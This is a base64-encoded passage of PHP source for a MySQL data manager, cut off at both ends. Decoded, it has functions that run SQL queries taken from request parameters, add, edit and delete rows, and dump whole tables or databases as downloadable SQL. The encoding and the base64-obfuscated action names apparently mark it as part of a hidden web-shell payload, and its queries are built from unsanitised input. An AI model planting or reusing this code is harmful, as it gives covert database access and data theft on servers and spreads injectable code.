KCk7Cn0KCmZ1bmN0aW9uIHZpZXdEYXRhKCAkcXVlcnlTdHIgKSB7CglnbG9iYWwgJGFjdGlvbiwg JG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRlcnJNc2csICRw YWdlLCAkcm93cGVycGFnZSwgJG9yZGVyYnk7CgoJZWNobyAiPGgxPkRhdGEgaW4gVGFibGU8L2gx PlxuIjsKCWlmKCAkdGFibGVuYW1lICE9ICIiICkKCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4k ZGJuYW1lICZndDsgJHRhYmxlbmFtZTwvcD5cbiI7CgllbHNlCgkJZWNobyAiPHAgY2xhc3M9bG9j YXRpb24+JGRibmFtZTwvcD5cbiI7CgoJJHF1ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlT dHIgKTsKCWlmKCAkcXVlcnlTdHIgPT0gIiIgKSB7CgkJJHF1ZXJ5U3RyID0gIlNFTEVDVCAqIEZS T00gJHRhYmxlbmFtZSI7CgkJaWYoICRvcmRlcmJ5ICE9ICIiICkKCQkJJHF1ZXJ5U3RyIC49ICIg T1JERVIgQlkgJG9yZGVyYnkiOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YWRk RGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+QWRkIERhdGE8L2E+IHwg XG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9 JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsKCX0KCgkkcFJlc3Vs dCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAkcXVlcnlTdHIgKTsKCSRmaWVsZHQgPSBteXNx bF9mZXRjaF9maWVsZCgkcFJlc3VsdCk7CgkkdGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7Cgkk ZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsKCgkkR0xPQkFMU1txdWVyeVN0cl0gPSAkcXVlcnlTdHI7 CgoJaWYoICRwUmVzdWx0ID09IGZhbHNlICkgewoJCWVjaG9RdWVyeVJlc3VsdCgpOwoJCXJldHVy bjsKCX0KCWlmKCAkcFJlc3VsdCA9PSAxICkgewoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7CgkJZWNo b1F1ZXJ5UmVzdWx0KCk7CgkJcmV0dXJuOwoJfQoKCWVjaG8gIjxocj5cbiI7CgoJJHJvdyA9IG15 c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOwoJJGNvbCA9IG15c3FsX251bV9maWVsZHMoICRwUmVz dWx0ICk7CgoJaWYoICRyb3cgPT0gMCApIHsKCQllY2hvICJObyBEYXRhIEV4aXN0ISI7CgkJcmV0 dXJuOwoJfQoKCWlmKCAkcm93cGVycGFnZSA9PSAiIiApICRyb3dwZXJwYWdlID0gMzA7CglpZigg JHBhZ2UgPT0gIiIgKSAkcGFnZSA9IDA7CgllbHNlICRwYWdlLS07CglteXNxbF9kYXRhX3NlZWso ICRwUmVzdWx0LCAkcGFnZSAqICRyb3dwZXJwYWdlICk7CgoJZWNobyAiPHRhYmxlIGNlbGxzcGFj aW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7CgllY2hvICI8dHI+XG4iOwoJZm9yKCAkaSA9IDA7ICRp IDwgJGNvbDsgJGkrKyApIHsKCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQs ICRpICk7CgkJZWNobyAiPHRoPiI7CgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikKCQkJ ZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5h bWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmb3JkZXJieT0iLiRmaWVsZC0+bmFtZS4iJz4iLiRmaWVs ZC0+bmFtZS4iPC9hPlxuIjsKCQllbHNlCgkJCWVjaG8gJGZpZWxkLT5uYW1lLiJcbiI7CgkJZWNo byAiPC90aD5cbiI7Cgl9CgllY2hvICI8dGggY29sc3Bhbj0yPkFjdGlvbjwvdGg+XG4iOwoJZWNo byAiPC90cj5cbiI7CgoJZm9yKCAkaSA9IDA7ICRpIDwgJHJvd3BlcnBhZ2U7ICRpKysgKSB7CgkJ JHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93KCAkcFJlc3VsdCApOwoJCWlmKCAkcm93QXJyYXkg PT0gZmFsc2UgKSBicmVhazsKCQllY2hvICI8dHI+XG4iOwoJCSRrZXkgPSAiIjsKCQlmb3IoICRq ID0gMDsgJGogPCAkY29sOyAkaisrICkgewoJCQkkZGF0YSA9ICRyb3dBcnJheVskal07CgoJCQkk ZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQsICRqICk7CgkJCWlmKCAkZmllbGQt PnByaW1hcnlfa2V5ID09IDEgKQoJCQkJJGtleSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIg LiAkZGF0YTsKCgkJCWlmKCBzdHJsZW4oICRkYXRhICkgPiAzMCApCgkJCQkkZGF0YSA9IHN1YnN0 ciggJGRhdGEsIDAsIDMwICkgLiAiLi4uIjsKCQkJJGRhdGEgPSBodG1sc3BlY2lhbGNoYXJzKCAk ZGF0YSApOwoJCQllY2hvICI8dGQ+XG4iOwoJCQllY2hvICIkZGF0YVxuIjsKCQkJZWNobyAiPC90 ZD5cbiI7CgkJfQoKCQlpZiggJGtleSA9PSAiIiApCgkJCWVjaG8gIjx0ZCBjb2xzcGFuPTI+bm8g S2V5PC90ZD5cbiI7CgkJZWxzZSB7CgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0 aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRp dDwvYT48L3RkPlxuIjsKCQkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZGVs ZXRlRGF0YSRrZXkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUnIG9uQ2xpY2s9 XCJyZXR1cm4gY29uZmlybSgnRGVsZXRlIFJvdz8nKVwiPkRlbGV0ZTwvYT48L3RkPlxuIjsKCQl9 CgkJZWNobyAiPC90cj5cbiI7Cgl9CgllY2hvICI8L3RhYmxlPlxuIjsKCgllY2hvICI8Zm9udCBz aXplPTI+XG4iOwoJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikKCQllY2hvICI8Zm9ybSBh Y3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxl bmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9zdD5cbiI7CgllbHNlCgkJZWNobyAiPGZvcm0gYWN0 aW9uPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFi bGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0cicgbWV0aG9kPXBvc3Q+XG4iOwoKCWVjaG8gKCRwYWdl KzEpLiIvIi4oaW50KSgkcm93LyRyb3dwZXJwYWdlKzEpLiIgcGFnZSI7CgllY2hvICI8L2ZvbnQ+ XG4iOwoJZWNobyAiIHwgIjsKCWlmKCAkcGFnZSA+IDAgKSB7CgkJaWYoJGFjdGlvbiA9PSAiZG1s bGQwUmhkR0U9IikKCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRH RT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSk7CgkJ ZWxzZQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJu YW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdl KTsKCQlpZiggJG9yZGVyYnkgIT0gIiIgJiYgJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikKCQkJ ZWNobyAiJm9yZGVyYnk9JG9yZGVyYnkiOwoJCWVjaG8gIic+UHJldjwvYT5cbiI7Cgl9IGVsc2UK CQllY2hvICJQcmV2IjsKCWVjaG8gIiB8ICI7CglpZiggJHBhZ2UgPCAoJHJvdy8kcm93cGVycGFn ZSktMSApIHsKCQlpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQoJCQllY2hvICI8YSBocmVm PSckUEhQX1NFTEY/YWN0aW9uPWRtbGxkMFJoZEdFPSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9 JHRhYmxlbmFtZSZwYWdlPSIuKCRwYWdlKzIpOwoJCWVsc2UKCQkJZWNobyAiPGEgaHJlZj0nJFBI UF9TRUxGP2FjdGlvbj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZx dWVyeVN0cj0kcXVlcnlTdHImcGFnZT0iLigkcGFnZSsyKTsKCQlpZiggJG9yZGVyYnkgIT0gIiIg JiYgJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikKCQkJZWNobyAiJm9yZGVyYnk9JG9yZGVyYnki OwoJCWVjaG8gIic+TmV4dDwvYT5cbiI7Cgl9IGVsc2UKCQllY2hvICJOZXh0IjsKCWVjaG8gIiB8 ICI7CglpZiggJHJvdyA+ICRyb3dwZXJwYWdlICkgewoJCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQg c2l6ZT00IG5hbWU9cGFnZT5cbiI7CgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdH byc+XG4iOwoJfQoJZWNobyAiPC9mb3JtPlxuIjsKCWVjaG8gIjwvZm9udD5cbiI7Cn0KCmZ1bmN0 aW9uIG1hbmFnZURhdGEoICRjbWQgKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAk dGFibGVuYW1lLCAkUEhQX1NFTEY7CgoJaWYoICRjbWQgPT0gImFkZCIgKQoJCWVjaG8gIjxoMT5B ZGQgRGF0YTwvaDE+XG4iOwoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7CgkJZWNobyAiPGgx PkVkaXQgRGF0YTwvaDE+XG4iOwoJCSRwUmVzdWx0ID0gbXlzcWxfbGlzdF9maWVsZHMoICRkYm5h bWUsICR0YWJsZW5hbWUgKTsKCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsK CgkJJGtleSA9ICIiOwoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7CgkJCSRmaWVs ZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsKCQkJaWYoICRmaWVsZC0+cHJp bWFyeV9rZXkgPT0gMSApCgkJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQoJCQkJCSRrZXkg Lj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7 CgkJCQllbHNlCgkJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZp ZWxkLT5uYW1lXSAuICInIEFORCAiOwoJCX0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJs ZW4oJGtleSktNCApOwoKCQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSAp OwoJCSRwUmVzdWx0ID0gbXlzcWxfcXVlcnkoICRxdWVyeVN0ciA9ICAiU0VMRUNUICogRlJPTSAk dGFibGVuYW1lIFdIRVJFICRrZXkiLCAkbXlzcWxIYW5kbGUgKTsKCQkkZGF0YSA9IG15c3FsX2Zl dGNoX2FycmF5KCAkcFJlc3VsdCApOwoJfQoKCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5h bWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsKCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VM RicgbWV0aG9kPXBvc3Q+XG4iOwoJaWYoICRjbWQgPT0gImFkZCIgKQoJCWVjaG8gIjxpbnB1dCB0 eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGREYXRhX3N1Ym1pdD5cbiI7CgllbHNlIGlm KCAkY21kID09ICJlZGl0IiApCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9u IHZhbHVlPWVkaXREYXRhX3N1Ym1pdD5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFt ZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFt ZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFtZT5cbiI7CgllY2hvICI8dGFibGUgY2VsbHNwYWNp bmc9MSBjZWxscGFkZGluZz0yPlxuIjsKCWVjaG8gIjx0cj5cbiI7CgllY2hvICI8dGg+TmFtZTwv dGg+XG4iOwoJZWNobyAiPHRoPlR5cGU8L3RoPlxuIjsKCWVjaG8gIjx0aD5GdW5jdGlvbjwvdGg+ XG4iOwoJZWNobyAiPHRoPkRhdGE8L3RoPlxuIjsKCWVjaG8gIjwvdHI+XG4iOwoKCSRwUmVzdWx0 ID0gbXlzcWxfZGJfcXVlcnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUi ICk7CgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7CgoJJHBSZXN1bHRMZW4gPSBt eXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOwoKCWZvciggJGkgPSAwOyAk aSA8ICRudW07ICRpKysgKSB7CgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0 ICk7CgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsKCQkkZmllbGR0eXBlID0gJGZpZWxk WyJUeXBlIl07CgkJJGxlbiA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7CgoJ CWVjaG8gIjx0cj4iOwoJCWVjaG8gIjx0ZD4kZmllbGRuYW1lPC90ZD4iOwoJCWVjaG8gIjx0ZD4i LiRmaWVsZFsiVHlwZSJdLiI8L3RkPiI7CgkJZWNobyAiPHRkPlxuIjsKCQllY2hvICI8c2VsZWN0 IG5hbWU9JHtmaWVsZG5hbWV9X2Z1bmN0aW9uPlxuIjsKCQllY2hvICI8b3B0aW9uPlxuIjsKCQll Y2hvICI8b3B0aW9uPkFTQ0lJXG4iOwoJCWVjaG8gIjxvcHRpb24+Q0hBUlxuIjsKCQllY2hvICI8 b3B0aW9uPlNPVU5ERVhcbiI7CgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOwoJCWVjaG8gIjxv cHRpb24+Q1VSVElNRVxuIjsKCQllY2hvICI8b3B0aW9uPkZST01fREFZU1xuIjsKCQllY2hvICI8 b3B0aW9uPkZST01fVU5JWFRJTUVcbiI7CgkJZWNobyAiPG9wdGlvbj5OT1dcbiI7CgkJZWNobyAi PG9wdGlvbj5QQVNTV09SRFxuIjsKCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7CgkJZWNo byAiPG9wdGlvbj5QRVJJT0RfRElGRlxuIjsKCQllY2hvICI8b3B0aW9uPlRPX0RBWVNcbiI7CgkJ ZWNobyAiPG9wdGlvbj5VU0VSXG4iOwoJCWVjaG8gIjxvcHRpb24+V0VFS0RBWVxuIjsKCQllY2hv ICI8b3B0aW9uPlJBTkRcbiI7CgkJZWNobyAiPC9zZWxlY3Q+XG4iOwoJCWVjaG8gIjwvdGQ+XG4i OwoJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJGRhdGFbJGldKTsKCQlpZiggJGNtZCA9PSAi YWRkIiApIHsKCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7CgkJCWlm KCAkdHlwZSA9PSAiZW51bSIgfHwgJHR5cGUgPT0gInNldCIgKSB7CgkJCQllY2hvICI8dGQ+XG4i OwoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApCgkJCQkJZWNobyAiPHNlbGVjdCBuYW1lPSRmaWVs ZG5hbWU+XG4iOwoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQoJCQkJCWVjaG8gIjxzZWxl Y3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7CgkJCQl3aGlsZSggJHN0ciA9 IHN0cnRvayggIiciICkgKSB7CgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOwoJCQkJCXN0cnRv ayggIiciICk7CgkJCQl9CgkJCQllY2hvICI8L3NlbGVjdD5cbiI7CgkJCQllY2hvICI8L3RkPlxu IjsKCQkJfSBlbHNlIHsKCQkJCWlmKCAkbGVuIDwgNDAgKQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQg dHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGQ+XG4i OwoJCQkJZWxzZQoJCQkJCWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVu Z3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOwoJCQl9CgkJfSBlbHNlIGlm KCAkY21kID09ICJlZGl0IiApIHsKCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwp XG4iICk7CgkJCWlmKCAkdHlwZSA9PSAiZW51bSIgfHwgJHR5cGUgPT0gInNldCIgKSB7CgkJCQll Y2hvICI8dGQ+XG4iOwoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApCgkJCQkJZWNobyAiPHNlbGVj dCBuYW1lPSRmaWVsZG5hbWU+XG4iOwoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQoJCQkJ CWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7CgkJCQl3 aGlsZSggJHN0ciA9IHN0cnRvayggIiciICkgKSB7CgkJCQkJaWYoICR2YWx1ZSA9PSAkc3RyICkK CQkJCQkJZWNobyAiPG9wdGlvbiBzZWxlY3RlZD4kc3RyXG4iOwoJCQkJCWVsc2UKCQkJCQkJZWNo byAiPG9wdGlvbj4kc3RyXG4iOwoJCQkJCXN0cnRvayggIiciICk7CgkJCQl9CgkJCQllY2hvICI8 L3NlbGVjdD5cbiI7CgkJCQllY2hvICI8L3RkPlxuIjsKCQkJfSBlbHNlIHsKCQkJCWlmKCAkbGVu IDwgNDAgKQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3Ro PSRsZW4gbmFtZT0kZmllbGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7CgkJCQllbHNl CgkJCQkJZWNobyAiPHRkPjx0ZXh0YXJlYSBjb2xzPTQwIHJvd3M9MyBtYXhsZW5ndGg9JGxlbiBu YW1lPSRmaWVsZG5hbWU+JHZhbHVlPC90ZXh0YXJlYT5cbiI7CgkJCX0KCQl9CgkJZWNobyAiPC90 cj4iOwoJfQoJZWNobyAiPC90YWJsZT48cD5cbiI7CglpZiggJGNtZCA9PSAiYWRkIiApCgkJZWNo byAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOwoJZWxzZSBpZiggJGNt ZCA9PSAiZWRpdCIgKQoJCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRWRpdCBEYXRh Jz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0n aGlzdG9yeS5iYWNrKCknPlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7Cn0KCmZ1bmN0aW9uIG1hbmFn ZURhdGFfc3VibWl0KCAkY21kICkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRh YmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7CgoJJHBS ZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOwoJJG51bSA9 IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7CgoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1l LCAkbXlzcWxIYW5kbGUgKTsKCWlmKCAkY21kID09ICJhZGQiICkKCQkkcXVlcnlTdHIgPSAiSU5T RVJUIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMgKCI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiAp CgkJJHF1ZXJ5U3RyID0gIlJFUExBQ0UgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsKCWZvcigg JGkgPSAwOyAkaSA8ICRudW0tMTsgJGkrKyApIHsKCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVs ZCggJHBSZXN1bHQgKTsKCQkkZnVuYyA9ICRHTE9CQUxTWyRmaWVsZC0+bmFtZS4iX2Z1bmN0aW9u Il07CgkJaWYoICRmdW5jICE9ICIiICkKCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsKCQlpZigg JGZpZWxkLT5udW1lcmljID09IDEgKSB7CgkJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQt Pm5hbWVdOwoJCQlpZiggJGZ1bmMgIT0gIiIgKQoJCQkJJHF1ZXJ5U3RyIC49ICIpLCI7CgkJCWVs c2UKCQkJCSRxdWVyeVN0ciAuPSAiLCI7CgkJfSBlbHNlIHsKCQkJJHF1ZXJ5U3RyIC49ICInIiAu ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07CgkJCWlmKCAkZnVuYyAhPSAiIiApCgkJCQkkcXVlcnlT dHIgLj0gIicpLCI7CgkJCWVsc2UKCQkJCSRxdWVyeVN0ciAuPSAiJywiOwoJCX0KCX0KCSRmaWVs ZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCApOwoJaWYoICRmaWVsZC0+bnVtZXJpYyA9 PSAxICkKCQkkcXVlcnlTdHIgLj0gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIpIjsKCWVsc2UK CQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInKSI7CgoJbXlz cWxfcXVlcnkoICRxdWVyeVN0ciAsICRteXNxbEhhbmRsZSApOwoJJGVyck1zZyA9IG15c3FsX2Vy cm9yKCk7CgoJdmlld0RhdGEoICIiICk7Cn0KCmZ1bmN0aW9uIGRlbGV0ZURhdGEoKSB7CglnbG9i YWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NF TEYsICRxdWVyeVN0ciwgJGVyck1zZzsKCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAk ZGJuYW1lLCAkdGFibGVuYW1lICk7CgkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQg KTsKCgkka2V5ID0gIiI7Cglmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgewoJCSRmaWVs ZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsKCQlpZiggJGZpZWxkLT5wcmlt YXJ5X2tleSA9PSAxICkKCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkKCQkJCSRrZXkgLj0g JGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7CgkJ CWVsc2UKCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+ bmFtZV0gLiAiJyBBTkQgIjsKCX0KCSRrZXkgPSBzdWJzdHIoICRrZXksIDAsIHN0cmxlbigka2V5 KS00ICk7CgoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsKCSRxdWVy eVN0ciA9ICAiREVMRVRFIEZST00gJHRhYmxlbmFtZSBXSEVSRSAka2V5IjsKCW15c3FsX3F1ZXJ5 KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOwoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7CgoJ dmlld0RhdGEoICIiICk7Cn0KCmZ1bmN0aW9uIGZldGNoX3RhYmxlX2R1bXBfc3FsKCR0YWJsZSkK ewoJZ2xvYmFsICRteXNxbEhhbmRsZSwkZGJuYW1lOwoKCW15c3FsX3NlbGVjdF9kYiggJGRibmFt ZSwgJG15c3FsSGFuZGxlICk7CgkkcXVlcnlfaWQgPSBteXNxbF9xdWVyeSgiU0hPVyBDUkVBVEUg VEFCTEUgJHRhYmxlIiwkbXlzcWxIYW5kbGUpOwoJJHRhYmxlZHVtcCA9IG15c3FsX2ZldGNoX2Fy cmF5KCRxdWVyeV9pZCwgTVlTUUxfQVNTT0MpOwoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElG IEVYSVNUUyAkdGFibGU7XG4iIC4gJHRhYmxlZHVtcFsnQ3JlYXRlIFRhYmxlJ10gLiAiO1xuXG4i OwoKCWVjaG8gJHRhYmxlZHVtcDsKCgkvLyBnZXQgZGF0YQoJJHJvd3MgPSBteXNxbF9xdWVyeSgi U0VMRUNUICogRlJPTSAkdGFibGUiLCRteXNxbEhhbmRsZSk7CgkkbnVtZmllbGRzPW15c3FsX251 bV9maWVsZHMoJHJvd3MpOwoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywg TVlTUUxfTlVNKSkKCXsKCQkkdGFibGVkdW1wID0gIklOU0VSVCBJTlRPICR0YWJsZSBWQUxVRVMo IjsKCgkJJGZpZWxkY291bnRlciA9IC0xOwoJCSRmaXJzdGZpZWxkID0gMTsKCQkvLyBnZXQgZWFj aCBmaWVsZCdzIGRhdGEKCQl3aGlsZSAoKyskZmllbGRjb3VudGVyIDwgJG51bWZpZWxkcykKCQl7 CgkJCWlmICghJGZpcnN0ZmllbGQpCgkJCXsKCQkJCSR0YWJsZWR1bXAgLj0gJywgJzsKCQkJfQoJ CQllbHNlCgkJCXsKCQkJCSRmaXJzdGZpZWxkID0gMDsKCQkJfQoKCQkJaWYgKCFpc3NldCgkcm93 WyIkZmllbGRjb3VudGVyIl0pKQoJCQl7CgkJCQkkdGFibGVkdW1wIC49ICdOVUxMJzsKCQkJfQoJ CQllbHNlCgkJCXsKCQkJCSR0YWJsZWR1bXAgLj0gIiciIC4gbXlzcWxfZXNjYXBlX3N0cmluZygk cm93WyIkZmllbGRjb3VudGVyIl0pIC4gIiciOwoJCQl9CgkJfQoKCQkkdGFibGVkdW1wIC49ICIp O1xuIjsKCgkJZWNobyAkdGFibGVkdW1wOwoKCX0KCUBteXNxbF9mcmVlX3Jlc3VsdCgkcm93cyk7 Cn0KCmZ1bmN0aW9uIGR1bXAoKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJu YW1lLCAkdGFibGVuYW1lOwoKCWlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiICl7CgoJCWhlYWRl cigiQ29udGVudC1kaXNwb3NpdGlvbjogZmlsZW5hbWU9JHRhYmxlbmFtZS5zcWwiKTsKCQloZWFk ZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7CgkJZmV0Y2hfdGFibGVfZHVtcF9z cWwoJHRhYmxlbmFtZSk7CgkJZWNobyAiXG5cblxuIjsKCQllY2hvICJcclxuXHJcblxyXG4jIyMg JHRhYmxlbmFtZSBUQUJMRSBEVU1QIENPTVBMRVRFRCAjIyMiOwoJCWV4aXQ7CgoJfWVsc2V7CgkJ aGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOwoJCWhl YWRlcignQ29udGVudC10eXBlOiB1bmtub3duL3Vua25vd24nKTsKCgkJbXlzcWxfc2VsZWN0X2Ri KCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsKCQkkcXVlcnlfaWQgPSBteXNxbF9xdWVyeSgiU0hP VyB0YWJsZXMiLCRteXNxbEhhbmRsZSk7CgkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJh eSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpCgkJewoJCQkJZmV0Y2hfdGFibGVfZHVtcF9zcWwoJHJv d1swXSk7CgkJCQllY2hvICJcblxuXG4iOwoJCQkJZWNobyAiXHJcblxyXG5cclxuIyMjICRyb3db 